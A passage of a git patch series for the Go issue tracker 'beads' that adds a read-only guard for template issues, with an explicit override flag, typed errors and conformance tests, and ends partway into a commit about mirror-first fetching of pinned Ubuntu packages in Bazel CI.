= map[string]func(*ProblemError, target) error{ // sentinel callers already switch on locally.] "notes_overwrite_refused": func(*ProblemError, target) error { return issueops.ErrNotesOverwrite }, + // The template guard, rebuilt whole so a caller reads the same typed error + // — and the same message — the embedded store returns. The row comes from + // the request or, on a batch, from `item_issue_id`. + "template_read_only": func(e *ProblemError, t target) error { + return &issueops.TemplateReadOnlyError{IssueID: refusedIssueID(e, t)} + }, + // The same rule again: `issue_id` present means the edge named the issue's // own ancestor or descendant, absent means a plain scheduling cycle. The // three hierarchy members travel together and rebuild the typed error whole diff --git a/internal/httpclient/wire/vocabulary_test.go b/internal/httpclient/wire/vocabulary_test.go index c650ac7f5..01a0ea9cf 100644 --- a/internal/httpclient/wire/vocabulary_test.go +++ b/internal/httpclient/wire/vocabulary_test.go @@ -196,11 +196,11 @@ func TestTheProjectIdentityVocabularyMatchesTheServer(t *testing.T) { if !slices.Equal(behaviorCapabilities, []string{ httpapi.CapProjectEnforce, httpapi.CapBatchApplyLarge, httpapi.CapIssuesListSort, httpapi.CapIssuesCountScope, httpapi.CapIssuesSweepWispsPlane, httpapi.CapIssuesSweepLiveDependents, httpapi.CapIssuesSweepLimit, - httpapi.CapBatchApplyDepAddLineage, + httpapi.CapBatchApplyDepAddLineage, httpapi.CapIssuesUpdateAllowTemplate, }) { t.Errorf("behaviorCapabilities = %v, want the server's project.enforce, issues.batchApplyLarge, issues.list.sort, "+ "issues.count.scope, issues.sweep.wispsPlane, issues.sweep.liveDependents, issues.sweep.limit and "+ - "issues.batchApply.depAddLineage tokens", behaviorCapabilities) + "issues.batchApply.depAddLineage and issues.update.allowTemplate tokens", behaviorCapabilities) } } diff --git a/internal/httpclient/wire/writes.go b/internal/httpclient/wire/writes.go index a6791100f..c9557f1b1 100644 --- a/internal/httpclient/wire/writes.go +++ b/internal/httpclient/wire/writes.go @@ -228,7 +228,7 @@ type updateBody struct { Actor string `json:"actor"` Patch map[string]any `json:"patch"` UpdateGuards - // The four UpdateFlags, each sent only when true (setItemBool's + // The five UpdateFlags, each sent only when true (setItemBool's // convention: an explicit false is the default said twice). Absent is // what an older server that predates a member reads correctly, which is // what lets a request that sets none of them reach a server that knows @@ -237,15 +237,16 @@ type updateBody struct { ForceAssigneeTransfer *bool `json:"force_assignee_transfer,omitempty"` ForceClosePolicy *bool `json:"force_close_policy,omitempty"` ForceNotesOverwrite *bool `json:"force_notes_overwrite,omitempty"` + AllowTemplate *bool `json:"allow_template,omitempty"` } -// UpdateFlags are updateIssue's four top-level booleans: the claim, and the -// three force overrides. UpdateIssueRequest publishes all four -// (internal/httpapi/apigen's generated type) and none is a GUARD — none carries -// a comparison value, unlike every member UpdateGuards holds — so they travel -// as their own struct rather than joining that one. +// UpdateFlags are updateIssue's five top-level booleans: the claim, the three +// force overrides and the template stand-down. UpdateIssueRequest publishes all +// five (internal/httpapi/apigen's generated type) and none is a GUARD — none +// carries a comparison value, unlike every member UpdateGuards holds — so they +// travel as their own struct rather than joining that one. // -// It is a struct rather than four arguments for UpdateGuards' reason: four +// It is a struct rather than five arguments for UpdateGuards' reason: five // positional booleans side by side are the shape a caller transposes, and a // transposed force flag is a bypass nobody asked for. type UpdateFlags struct { @@ -268,6 +269,9 @@ type UpdateFlags struct { // replace existing non-empty notes with different non-empty content. The // server requires patch.notes beside it. ForceNotesOverwrite bool + // AllowTemplate stands the template read-only refusal down for this + // request (bd label, bd set-state edit templates by design). + AllowTemplate bool } // UpdateIssue patches one issue. It is the only PATCH on this surface: the @@ -291,6 +295,7 @@ func (c *Client) UpdateIssue(ctx context.Context, id, actor string, patch map[st ForceAssigneeTransfer: trueOrAbsent(flags.ForceAssigneeTransfer), ForceClosePolicy: trueOrAbsent(flags.ForceClosePolicy), ForceNotesOverwrite: trueOrAbsent(flags.ForceNotesOverwrite), + AllowTemplate: trueOrAbsent(flags.AllowTemplate), } r := Request{Op: OpUpdateIssue, Method: http.MethodPatch, Path: path, Body: body, IssueID: id} if err := c.dispatch(ctx, r, &out); err != nil { diff --git a/internal/httpclient/write_ledger_test.go b/internal/httpclient/write_ledger_test.go index 945c51477..69f3514cd 100644 --- a/internal/httpclient/write_ledger_test.go +++ b/internal/httpclient/write_ledger_test.go @@ -262,6 +262,8 @@ func writeShapes() []writeShape { "ForceAssigneeTransfer": member("force_assignee_transfer"), "ForceClosePolicy": member("force_close_policy"), "Claim": member("claim"), + // The template guard's stand-down (bd label, bd set-state). + "AllowTemplate": member("allow_template"), }, }, { diff --git a/internal/httpclient/write_roles_test.go b/internal/httpclient/write_roles_test.go index e58916379..a4456dab6 100644 --- a/internal/httpclient/write_roles_test.go +++ b/internal/httpclient/write_roles_test.go @@ -383,7 +383,13 @@ func (s *stubWire) ListReadyWork(_ context.Context, _ url.Values) (*apigen.Ready func stubStore(t *testing.T, w *stubWire) *Store { t.Helper() - return New(testTarget(t), w, &apigen.ContextResponse{BdVersion: "1.2.3"}) + // A current server: it advertises issues.update.allowTemplate, so + // Lifecycle.Update leaves the template guard to it and pre-reads nothing. + // TestUpdateTemplateGuardAgainstAServerThatPredatesIt covers the older one. + return New(testTarget(t), w, &apigen.ContextResponse{ + BdVersion: "1.2.3", + Capabilities: []string{wire.CapIssuesUpdateAllowTemplate}, + }) } func set[T any](v T) issueops.Field[T] { return issueops.Field[T]{Set: true, Value: v} } @@ -951,6 +957,12 @@ func TestUpdateSendsEachFlagOnlyWhenRequested(t *testing.T) { want: wire.UpdateFlags{ForceClosePolicy: true}, wantPatch: map[string]any{"status": string(issueops.StatusClosed)}, }, + { + name: "allow template", + req: issueops.UpdateRequest{Patch: notes, AllowTemplate: true}, + want: wire.UpdateFlags{AllowTemplate: true}, + wantPatch: map[string]any{"notes": "replacement notes"}, + }, { name: "a claim alone sends the empty patch", req: issueops.UpdateRequest{Claim: true}, @@ -1812,3 +1824,89 @@ func TestWriteAccessorsRefuseWithoutATransport(t *testing.T) { t.Errorf("CloseIssue without a transport = %v, want ErrNoTransport", err) } } + +// templateServerWire is a stubWire whose generic read half answers getIssue +// with row (nil: not found), recording the read in the same call log as the +// writes, so a test can see whether a pre-read ran and whether it ran BEFORE +// updateIssue — or instead of it. +type templateServerWire struct { + *stubWire + row *types.Issue +} + +func (w *templateServerWire) Preflight(context.Context, string) error { return nil } + +func (w *templateServerWire) Do(_ context.Context, req wire.Request, out any) error { + if req.Op != wire.OpGetIssue { + return fmt.Errorf("templateServerWire: unexpected generic dispatch %q", req.Op) + } + w.calls = append(w.calls, "getIssue:"+req.IssueID) + if w.row == nil { + return fmt.Errorf("no issue %s: %w", req.IssueID, issueops.ErrNotFound) + } + *out.(*types.IssueDetails) = types.IssueDetails{Issue: *w.row, Revision: "1"} + return nil +} + +// TestUpdateTemplateGuardAgainstAServerThatPredatesIt is a NEW client against an +// OLD server: a handshake without issues.update.allowTemplate is a server that +// applies no template guard and refuses `allow_template` as unknown. The client +// decides from the cached handshake, before the dial: it refuses a template +// update itself on a pre-read (the refusal bd update always made), never sends +// `allow_template` to it, and against a server that DOES advertise the token +// it neither pre-reads nor drops the member. +func TestUpdateTemplateGuardAgainstAServerThatPredatesIt(t *testing.T) { + template := &types.Issue{ID: "bd-1", Title: "tmpl", IsTemplate: true} + plain := &types.Issue{ID: "bd-1", Title: "work"} + for _, tc := range []struct { + name string + guarded bool // the handshake advertises the token + row *types.Issue + allow bool + wantCalls []string + wantRefused bool + wantFlag bool + }{ + {name: "old server: a template update is refused before the dial", row: template, + wantCalls: []string{"getIssue:bd-1"}, wantRefused: true}, + {name: "old server: a plain row goes out after the pre-read", row: plain, + wantCalls: []string{"getIssue:bd-1", "updateIssue:bd-1"}}, + {name: "old server: a row the pre-read cannot find goes out for the server to answer", row: nil, + wantCalls: []string{"getIssue:bd-1", "updateIssue:bd-1"}}, + {name: "old server: allow_template is not sent and no pre-read runs", row: template, allow: true, + wantCalls: []string{"updateIssue:bd-1"}}, + {name: "guarded server: no pre-read, the server owns the refusal", guarded: true, row: template, + wantCalls: []string{"updateIssue:bd-1"}}, + {name: "guarded server: allow_template rides the wire", guarded: true, row: template, allow: true, + wantCalls: []string{"updateIssue:bd-1"}, wantFlag: true}, + } { + t.Run(tc.name, func(t *testing.T) { + w := &templateServerWire{stubWire: &stubWire{update: &apigen.UpdateIssueResponse{Revision: "3"}}, row: tc.row} + snap := &apigen.ContextResponse{BdVersion: "1.2.3"} + if tc.guarded { + snap.Capabilities = []string{wire.CapIssuesUpdateAllowTemplate} + } + lifecycle, err := New(testTarget(t), w, snap).IssueLifecycle() + if err != nil { + t.Fatalf("IssueLifecycle(): %v", err) + } + _, err = lifecycle.Update(t.Context(), issueops.UpdateRequest{ + Actor: "writer", IssueID: "bd-1", AllowTemplate: tc.allow, + Patch: issueops.IssuePatch{Title: set("t")}, + }) + var refusal *issueops.TemplateReadOnlyError + if got := errors.As(err, &refusal); got != tc.wantRefused { + t.Fatalf("Update err = %v, want a TemplateReadOnlyError: %v", err, tc.wantRefused) + } + if !tc.wantRefused && err != nil { + t.Fatalf("Update: %v", err) + } + if !reflect.DeepEqual(w.calls, tc.wantCalls) { + t.Errorf("calls = %v, want %v", w.calls, tc.wantCalls) + } + if !tc.wantRefused && w.lastFlags.AllowTemplate != tc.wantFlag { + t.Errorf("sent allow_template = %v, want %v", w.lastFlags.AllowTemplate, tc.wantFlag) + } + }) + } +} diff --git a/internal/storage/dolt/batch_apply_contract_test.go b/internal/storage/dolt/batch_apply_contract_test.go index 13b950360..480150703 100644 --- a/internal/storage/dolt/batch_apply_contract_test.go +++ b/internal/storage/dolt/batch_apply_contract_test.go @@ -255,6 +255,16 @@ func TestBatchApplyContract(t *testing.T) { defer cancel() conformance.RunBatchApplyRefusesAnUnusableRequest(t, ctx, fixture) }) + t.Run("UpdateItemsRefuseATemplate", func(t *testing.T) { + ctx, cancel := testContext(t) + defer cancel() + conformance.RunBatchApplyUpdateItemsRefuseATemplate(t, ctx, fixture) + }) + t.Run("SplicesTheMetadataOfATemplateItCreates", func(t *testing.T) { + ctx, cancel := testContext(t) + defer cancel() + conformance.RunBatchApplySplicesTheMetadataOfATemplateItCreates(t, ctx, fixture) + }) } // newDoltBatchApplyFixture composes the frozen role kit with this backend's diff --git a/internal/storage/dolt/lifecycle_update_contract_test.go b/internal/storage/dolt/lifecycle_update_contract_test.go index 409ad0b3f..2696c7834 100644 --- a/internal/storage/dolt/lifecycle_update_contract_test.go +++ b/internal/storage/dolt/lifecycle_update_contract_test.go @@ -90,6 +90,12 @@ func TestLifecycleUpdateContract(t *testing.T) { t.Run("ProvenanceLabelsHistory", func(t *testing.T) { conformance.RunLifecycleUpdateProvenanceLabelsHistory(t, ctx, fixture) }) + t.Run("RefusesATemplate", func(t *testing.T) { + conformance.RunLifecycleUpdateRefusesATemplate(t, ctx, fixture) + }) + t.Run("AllowTemplateEditsATemplate", func(t *testing.T) { + conformance.RunLifecycleUpdateAllowTemplateEditsATemplate(t, ctx, fixture) + }) } func newDoltLifecycleUpdateFixture(t *testing.T, prefix string) (conformance.LifecycleUpdateFixture, context.Context, func()) { diff --git a/internal/storage/embeddeddolt/batch_apply_contract_test.go b/internal/storage/embeddeddolt/batch_apply_contract_test.go index c7be4ca2d..5bf1afbaa 100644 --- a/internal/storage/embeddeddolt/batch_apply_contract_test.go +++ b/internal/storage/embeddeddolt/batch_apply_contract_test.go @@ -187,6 +187,12 @@ func TestBatchApplyContract(t *testing.T) { t.Run("RefusesAnUnusableRequest", func(t *testing.T) { conformance.RunBatchApplyRefusesAnUnusableRequest(t, ctx, fixture) }) + t.Run("UpdateItemsRefuseATemplate", func(t *testing.T) { + conformance.RunBatchApplyUpdateItemsRefuseATemplate(t, ctx, fixture) + }) + t.Run("SplicesTheMetadataOfATemplateItCreates", func(t *testing.T) { + conformance.RunBatchApplySplicesTheMetadataOfATemplateItCreates(t, ctx, fixture) + }) } // newEmbeddedBatchApplyFixture composes the frozen role kit with this backend's diff --git a/internal/storage/embeddeddolt/lifecycle_update_contract_test.go b/internal/storage/embeddeddolt/lifecycle_update_contract_test.go index 985ff24f9..635c3ff13 100644 --- a/internal/storage/embeddeddolt/lifecycle_update_contract_test.go +++ b/internal/storage/embeddeddolt/lifecycle_update_contract_test.go @@ -91,6 +91,12 @@ func TestLifecycleUpdateContract(t *testing.T) { t.Run("ProvenanceLabelsHistory", func(t *testing.T) { conformance.RunLifecycleUpdateProvenanceLabelsHistory(t, ctx, fixture) }) + t.Run("RefusesATemplate", func(t *testing.T) { + conformance.RunLifecycleUpdateRefusesATemplate(t, ctx, fixture) + }) + t.Run("AllowTemplateEditsATemplate", func(t *testing.T) { + conformance.RunLifecycleUpdateAllowTemplateEditsATemplate(t, ctx, fixture) + }) } func newEmbeddedLifecycleUpdateFixture(t *testing.T, te *testEnv, prefix string) conformance.LifecycleUpdateFixture { diff --git a/internal/storage/issueops/aggregate.go b/internal/storage/issueops/aggregate.go index f56fddc04..faf899e7c 100644 --- a/internal/storage/issueops/aggregate.go +++ b/internal/storage/issueops/aggregate.go @@ -231,6 +231,29 @@ func AuthorizeNotesOverwrite(before *types.Issue, request publicops.UpdateReques return fmt.Errorf("%w: issue %s", storage.ErrNotesOverwrite, before.ID) } +// AuthorizeTemplateUpdate refuses an update of a template with +// *publicops.TemplateReadOnlyError. Templates are read-only — work comes out of +// one by pouring it — so every update naming one refuses, whatever its patch +// and whatever force flags it carries: no force flag waives it (only the +// caller's explicit AllowTemplate does). +// +// It is the guard `bd update` (and assign, and the proxied mutations) used to +// apply as a pre-read in cmd/bd, which left bd serve, BatchApplier update items +// and library callers writing to templates bd refused. It sits beside the +// other update fences and is called from the same three places — ExecuteUpdate, +// and the unit-of-work update and batch legs — over the same-transaction +// pre-image, after the compare-and-set preconditions, so a stale guard still +// reports as the mismatch. +// +// request.AllowTemplate is the caller saying it edits a template deliberately +// (bd label, bd set-state); the guard stands down for that request only. +func AuthorizeTemplateUpdate(before *types.Issue, request publicops.UpdateRequest) error { + if before != nil && before.IsTemplate && !request.AllowTemplate { + return &publicops.TemplateReadOnlyError{IssueID: before.ID} + } + return nil +} + // ApplyMetadataPatch returns the canonical metadata value and whether it changes. func ApplyMetadataPatch(current json.RawMessage, patch publicops.MetadataPatch) (json.RawMessage, bool, error) { if !patch.Replace.Set && !patch.Merge.Set && len(patch.Set) == 0 && len(patch.Unset) == 0 { diff --git a/internal/storage/issueops/batch_apply.go b/internal/storage/issueops/batch_apply.go index bd6a251d1..1621e772e 100644 --- a/internal/storage/issueops/batch_apply.go +++ b/internal/storage/issueops/batch_apply.go @@ -481,11 +481,13 @@ func (r *applyBatchRun) spliceMetadataRefs(ctx context.Context, tx *sql.Tx) erro return err } id := r.result.Items[index].IssueID - updated, tables, err := ExecuteUpdate(ctx, tx, publicops.UpdateRequest{ + // Unguarded for templates: the splice finishes this request's own + // create, so a template it creates is not being modified. + updated, tables, err := executeUpdate(ctx, tx, publicops.UpdateRequest{ Actor: r.plan.Actor, IssueID: id, Patch: publicops.IssuePatch{Metadata: publicops.MetadataPatch{Set: set}}, - }) + }, false) if err != nil { return &publicops.ItemError{ Index: index, Kind: publicops.ItemCreate, Key: item.Create.Key, IssueID: id, Err: err, diff --git a/internal/storage/issueops/execution.go b/internal/storage/issueops/execution.go index 04009d857..c701fb55f 100644 --- a/internal/storage/issueops/execution.go +++ b/internal/storage/issueops/execution.go @@ -136,6 +136,15 @@ func skippedDependencyError(skipped []skippedDependency) error { // ExecuteUpdate applies a guarded update in tx and reports durable tables changed. func ExecuteUpdate(ctx context.Context, tx *sql.Tx, request publicops.UpdateRequest) (publicops.UpdateResult, ChangedTables, error) { + return executeUpdate(ctx, tx, request, true) +} + +// executeUpdate is ExecuteUpdate with the template guard made optional, for the +// one caller that is not an update of an existing row: the batch apply's +// metadata splice, which finishes a CREATE item of the same request — a +// template the request itself is creating is still being written, not +// modified. +func executeUpdate(ctx context.Context, tx *sql.Tx, request publicops.UpdateRequest, guardTemplate bool) (publicops.UpdateResult, ChangedTables, error) { attempt := CloneUpdateRequest(request) if attempt.Actor == "" || attempt.IssueID == "" { return publicops.UpdateResult{}, nil, fmt.Errorf("%w: update requires actor and issue ID", storage.ErrValidation) @@ -171,6 +180,11 @@ func ExecuteUpdate(ctx context.Context, tx *sql.Tx, request publicops.UpdateRequ } else if err := CheckExpectedFieldsInTx(ctx, tx, attempt.IssueID, attempt.ExpectedAssignee, nil); err != nil { return publicops.UpdateResult{}, nil, err } + if guardTemplate { + if err := AuthorizeTemplateUpdate(before, attempt); err != nil { + return publicops.UpdateResult{}, nil, err + } + } if err := AuthorizeAssigneeTransfer(ctx, tx, before, attempt); err != nil { return publicops.UpdateResult{}, nil, err } diff --git a/internal/storage/issueops/version_completeness_test.go b/internal/storage/issueops/version_completeness_test.go index e7d265b11..611c55c6d 100644 --- a/internal/storage/issueops/version_completeness_test.go +++ b/internal/storage/issueops/version_completeness_test.go @@ -76,8 +76,10 @@ func versionMintEdges(fns map[string]*journalscan.FuncInfo) func(*journalscan.Fu // its own RecordVersionInTx: nothing it calls with the gate off can carry it // on its behalf. TestCompositeMutationsCarryTheirOwnMint is what turns // reviewer Probe 2 (delete ExecuteUpdate's final mint block) into a failure. +// ExecuteUpdate's body is executeUpdate (ExecuteUpdate is it with the template +// guard on), so the composite named here is the body that carries the mint. var versionCompositeMutations = []string{ - "ExecuteUpdate", + "executeUpdate", "applyLabelPatch", "applyParentPatch", } diff --git a/internal/storage/uow/batch_applier.go b/internal/storage/uow/batch_applier.go index 9c41e1ae6..b26025a5c 100644 --- a/internal/storage/uow/batch_applier.go +++ b/internal/storage/uow/batch_applier.go @@ -310,7 +310,7 @@ func (r *uowApplyRun) applyUpdate(ctx context.Context, index int, item *publicop if err := validateUpdateRequest(request); err != nil { return itemErr(err) } - updated, err := r.runUpdate(ctx, request) + updated, err := r.runUpdate(ctx, request, true) if err != nil { return itemErr(err) } @@ -332,7 +332,10 @@ func (r *uowApplyRun) applyUpdate(ctx context.Context, index int, item *publicop // change. ga-v2k49 is a concrete instance of that drift: claimChanged's actor // comparison here and there diverged (one verbatim, one not) until both were // found and fixed independently. -func (r *uowApplyRun) runUpdate(ctx context.Context, request publicops.UpdateRequest) (publicops.UpdateResult, error) { +// +// guardTemplate is false only for the metadata splice, which finishes a create +// item of this request rather than modifying an existing row. +func (r *uowApplyRun) runUpdate(ctx context.Context, request publicops.UpdateRequest, guardTemplate bool) (publicops.UpdateResult, error) { spec, err := updateSpec(request) if err != nil { return publicops.UpdateResult{}, validationError(err) @@ -346,6 +349,11 @@ func (r *uowApplyRun) runUpdate(ctx context.Context, request publicops.UpdateReq return publicops.UpdateResult{}, err } if updatePreconditionsHold(request, before) { + if guardTemplate { + if err := storageissueops.AuthorizeTemplateUpdate(before, request); err != nil { + return publicops.UpdateResult{}, err + } + } if err := authorizeAssigneeTransfer(ctx, r.uw, before, request); err != nil { return publicops.UpdateResult{}, err } @@ -527,11 +535,13 @@ func (r *uowApplyRun) spliceMetadataRefs(ctx context.Context) error { return err } id := r.result.Items[index].IssueID + // Unguarded for templates, as the store-backed splice is: it finishes + // this request's own create. updated, err := r.runUpdate(ctx, publicops.UpdateRequest{ Actor: r.plan.Actor, IssueID: id, Patch: publicops.IssuePatch{Metadata: publicops.MetadataPatch{Set: set}}, - }) + }, false) if err != nil { return &publicops.ItemError{Index: index, Kind: publicops.ItemCreate, Key: item.Create.Key, IssueID: id, Err: err} } diff --git a/internal/storage/uow/batch_apply_contract_test.go b/internal/storage/uow/batch_apply_contract_test.go index 6ae8f3899..9bb82d3e9 100644 --- a/internal/storage/uow/batch_apply_contract_test.go +++ b/internal/storage/uow/batch_apply_contract_test.go @@ -157,6 +157,12 @@ func TestBatchApplyContract(t *testing.T) { t.Run("RefusesAnUnusableRequest", func(t *testing.T) { conformance.RunBatchApplyRefusesAnUnusableRequest(t, ctx, fixture) }) + t.Run("UpdateItemsRefuseATemplate", func(t *testing.T) { + conformance.RunBatchApplyUpdateItemsRefuseATemplate(t, ctx, fixture) + }) + t.Run("SplicesTheMetadataOfATemplateItCreates", func(t *testing.T) { + conformance.RunBatchApplySplicesTheMetadataOfATemplateItCreates(t, ctx, fixture) + }) } func newUOWBatchApplyFixture(t *testing.T, ctx context.Context, prefix string) conformance.BatchApplyFixture { diff --git a/internal/storage/uow/issue_operations.go b/internal/storage/uow/issue_operations.go index c0f3451d8..55205753a 100644 --- a/internal/storage/uow/issue_operations.go +++ b/internal/storage/uow/issue_operations.go @@ -231,6 +231,9 @@ func (o *issueOperations) Update(ctx context.Context, request publicops.UpdateRe // version and status before authorizing, so when one is stale the fence // stands down and ApplyUpdate reports the mismatch instead. if updatePreconditionsHold(attempt, before) { + if err := storageissueops.AuthorizeTemplateUpdate(before, attempt); err != nil { + return publicops.UpdateResult{}, "", err + } if err := authorizeAssigneeTransfer(ctx, uw, before, attempt); err != nil { return publicops.UpdateResult{}, "", err } diff --git a/internal/storage/uow/issue_operations_claim_contract_test.go b/internal/storage/uow/issue_operations_claim_contract_test.go index c4c84067b..9ecc081a2 100644 --- a/internal/storage/uow/issue_operations_claim_contract_test.go +++ b/internal/storage/uow/issue_operations_claim_contract_test.go @@ -289,7 +289,7 @@ func TestBatchRunUpdateIdempotentClaimAcrossSpellingReportsNoChange(t *testing.T result, err := run.runUpdate(context.Background(), publicops.UpdateRequest{ Actor: "gastown.mayor", IssueID: "bd-1", Claim: true, - }) + }, true) if err != nil { t.Fatalf("runUpdate: %v, want success (same identity, different separator spelling)", err) } @@ -307,7 +307,7 @@ func TestBatchRunUpdateClaimByGenuinelyDifferentIdentityReportsAChange(t *testin result, err := run.runUpdate(context.Background(), publicops.UpdateRequest{ Actor: "gastown.dog-3", IssueID: "bd-1", Claim: true, - }) + }, true) if err != nil { t.Fatalf("runUpdate: %v", err) } diff --git a/internal/storage/uow/lifecycle_update_contract_test.go b/internal/storage/uow/lifecycle_update_contract_test.go index 1e7790e39..85983bf4f 100644 --- a/internal/storage/uow/lifecycle_update_contract_test.go +++ b/internal/storage/uow/lifecycle_update_contract_test.go @@ -92,6 +92,12 @@ func TestLifecycleUpdateContract(t *testing.T) { t.Run("ProvenanceLabelsHistory", func(t *testing.T) { conformance.RunLifecycleUpdateProvenanceLabelsHistory(t, ctx, fixture) }) + t.Run("RefusesATemplate", func(t *testing.T) { + conformance.RunLifecycleUpdateRefusesATemplate(t, ctx, fixture) + }) + t.Run("AllowTemplateEditsATemplate", func(t *testing.T) { + conformance.RunLifecycleUpdateAllowTemplateEditsATemplate(t, ctx, fixture) + }) } func newUOWLifecycleUpdateFixture(t *testing.T, ctx context.Context, prefix string) conformance.LifecycleUpdateFixture { diff --git a/internal/validation/BUILD.bazel b/internal/validation/BUILD.bazel index 5b75f8787..e9aefda09 100644 --- a/internal/validation/BUILD.bazel +++ b/internal/validation/BUILD.bazel @@ -13,6 +13,7 @@ go_library( "//internal/config", "//internal/types", "//internal/utils", + "//issueops", ], ) diff --git a/internal/validation/issue.go b/internal/validation/issue.go index c59f4e4b2..bde847ec3 100644 --- a/internal/validation/issue.go +++ b/internal/validation/issue.go @@ -6,6 +6,7 @@ import ( "strings" "github.com/steveyegge/beads/internal/types" + "github.com/steveyegge/beads/issueops" ) // IssueValidator validates an issue and returns an error if validation fails. @@ -43,7 +44,7 @@ func NotTemplate() IssueValidator { return nil // Let Exists() handle nil check if needed } if issue.IsTemplate { - return fmt.Errorf("cannot modify template %s: templates are read-only; use 'bd mol pour' to create a work item", id) + return &issueops.TemplateReadOnlyError{IssueID: id} } return nil } diff --git a/issueops/BUILD.bazel b/issueops/BUILD.bazel index 47fa9a549..817b49916 100644 --- a/issueops/BUILD.bazel +++ b/issueops/BUILD.bazel @@ -33,6 +33,7 @@ go_library( "releaser.go", "statsreporter.go", "sweeper.go", + "template_errors.go", "treewalker.go", "versionreconciler.go", "workspaceconfig.go", diff --git a/issueops/batchapplier.go b/issueops/batchapplier.go index ac84c74df..76d301234 100644 --- a/issueops/batchapplier.go +++ b/issueops/batchapplier.go @@ -104,7 +104,9 @@ type CreateItem struct { // UpdateItem patches one existing issue, under UpdateRequest's rules. type UpdateItem struct { - // Target names the issue to patch and must resolve BACKWARD — see Ref. + // Target names the issue to patch and must resolve BACKWARD — see Ref. A + // template target refuses with *TemplateReadOnlyError, exactly as + // Lifecycle.Update does: templates are read-only. Target Ref // Patch is the edit, read exactly as UpdateRequest.Patch is — including // that Patch.Labels is the whole LabelPatch, so a label REMOVAL is diff --git a/issueops/issueops.go b/issueops/issueops.go index aa2bd2101..69c8a20a1 100644 --- a/issueops/issueops.go +++ b/issueops/issueops.go @@ -273,6 +273,14 @@ type UpdateRequest struct { // It is the update-side spelling of CloseRequest.Force; a command adapter // that maps one flag to both spells both. ForceClosePolicy bool + // AllowTemplate says the caller edits a template deliberately, so the + // template read-only refusal (*TemplateReadOnlyError) stands down for this + // request. bd label and bd set-state set it to keep their pre-guard + // behavior: they have always written to templates. The zero value + // enforces the guard. It bypasses nothing else — validation, the + // preconditions, the assignee and notes fences and close policy still + // apply — and has no effect on an issue that is not a template. + AllowTemplate bool // The three Expected* guards below are this package's FOUNDING spelling of // the compare-and-set family, and the family's rules are stated once, at // length, on DeleteRequest.ExpectedVersion (deleter.go) and @@ -478,7 +486,12 @@ type Lifecycle interface { // returns ErrCloseBlocked, both without mutation. ForceClosePolicy bypasses // those two refusals and nothing else. A Claim that loses its // compare-and-set returns *ClaimConflictError carrying the state that beat - // it. A refusal or validation error leaves persistent state unchanged. + // it. An update of a template returns *TemplateReadOnlyError whatever its + // patch and force flags, unless it sets AllowTemplate — templates are + // read-only — checked after the + // compare-and-set preconditions, so a stale guard still reports the + // mismatch. A refusal or validation error leaves persistent state + // unchanged. Update(context.Context, UpdateRequest) (UpdateResult, error) // Close validates guards and commits the complete request as one atomic // mutation. It moves the issue to literal StatusClosed, including from a diff --git a/issueops/template_errors.go b/issueops/template_errors.go new file mode 100644 index 000000000..8997324c3 --- /dev/null +++ b/issueops/template_errors.go @@ -0,0 +1,30 @@ +package issueops + +import ( + "errors" + "fmt" +) + +// ErrTemplateReadOnly is returned when a mutation that guards templates names +// one. Every update does (Lifecycle.Update, a BatchApplier update item); not +// every verb does yet (bd-jkp9v3). Templates are read-only: the way to get +// work out of one is to pour it (`bd mol pour`), which creates new issues and +// leaves the template untouched. There is no force bypass — no Force flag +// waives it; only an update that sets UpdateRequest.AllowTemplate (bd label, +// bd set-state) is let through. +var ErrTemplateReadOnly = errors.New("templates are read-only") + +// TemplateReadOnlyError reports the template a mutation was refused for. Its +// message is the sentence `bd` has always printed for the refusal, so a caller +// that renders err.Error() reads the same line whichever backend refused. +type TemplateReadOnlyError struct { + // IssueID names the template that refused the mutation. + IssueID string +} + +func (e *TemplateReadOnlyError) Error() string { + return fmt.Sprintf("cannot modify template %s: templates are read-only; use 'bd mol pour' to create a work item", e.IssueID) +} + +// Unwrap makes TemplateReadOnlyError match ErrTemplateReadOnly. +func (e *TemplateReadOnlyError) Unwrap() error { return ErrTemplateReadOnly } From a945eca145bd91431e05cf14149b09c9e30bf263 Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Fri, 9 Oct 2026 17:47:17 +0000 Subject: [PATCH 079/213] ci(bazel): fetch pinned Ubuntu debs in parallel from a gascity mirror first (#7434) * ci(bazel): fetch pinned Ubuntu debs in parallel from a gascity mirror first cc_sysroot_noble_amd64 downloaded its 7 pinned .debs one at a time from snapshot.ubuntu.com, with only archive.ubuntu.com behind it. On 2026-10-09 the snapshot returned 503, and Bazel's retries against it cost ~95 s per cold fetch before falling back (and archive.ubuntu.com drops superseded versions, which would fail the fetch outright). Same change as gastownhall/gascity (ga-vnycm2.11): deb_sysroot takes URL templates ({path}, {file}, {sha256}) and starts every package download at once (rctx.download block = False). NOBLE_DEB_URLS tries gascity's content-addressed release mirror (toolchain-noble-debs-20261001, which holds these exact pins; beads already takes its LLVM slice from a gascity release), the snapshot, Launchpad's librarian, then archive.ubuntu.com. The sha256 pins are unchanged and decide what is accepted; the unpacked sysroot is byte-identical. The hermetic-cc guard now checks every deb_sysroot: placeholders, the snapshot kept, two or more hosts, no moving mirror first, no ICU. Co-Authored-By: Claude Opus 5.5 (1M context) * build(bazel): auto-sync BUILD files Applied from the bazel-sync-patch artifact of https://github.com/gastownhall/beads/actions/runs/37966817176 (`make bazel-sync`: gazelle, tools/bazel/go_srcs.py, bazel mod tidy). Only BUILD.bazel, MODULE.bazel and MODULE.bazel.lock are ever pushed; see scripts/bazel-autofix-push.sh. --------- Co-authored-by: Claude Opus 5.5 (1M context) Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com> --- MODULE.bazel | 23 +++- scripts/bazel_hermetic_cc_test.go | 136 ++++++++++++++++++----- third_party/cc_toolchain/deb_sysroot.bzl | 35 ++++-- 3 files changed, 149 insertions(+), 45 deletions(-) diff --git a/MODULE.bazel b/MODULE.bazel index 68ded81bb..0be68a91d 100644 --- a/MODULE.bazel +++ b/MODULE.bazel @@ -39,12 +39,26 @@ bazel_dep(name = "rules_cc", version = "0.2.17") # scripts/bazel_hermetic_cc_test.go guards both. deb_sysroot = use_repo_rule("//third_party/cc_toolchain:deb_sysroot.bzl", "deb_sysroot") +# Where every pinned Ubuntu 24.04 package below comes from, tried in order +# (the sha256 pins, not the source, decide what is accepted): +# - gascity's content-addressed mirror, a release holding each pinned +# .deb as .deb (gascity's tools/cc_toolchain/mirror_debs.sh +# publishes it; gascity pins the same packages), so a cold fetch does not +# depend on Canonical's servers; +# - the snapshot these packages were pinned from (immutable, but a single +# host that returns 503 for minutes at a time); +# - Launchpad's librarian, which keeps every file ever published to the +# primary archive, superseded versions included; +# - archive.ubuntu.com, which drops 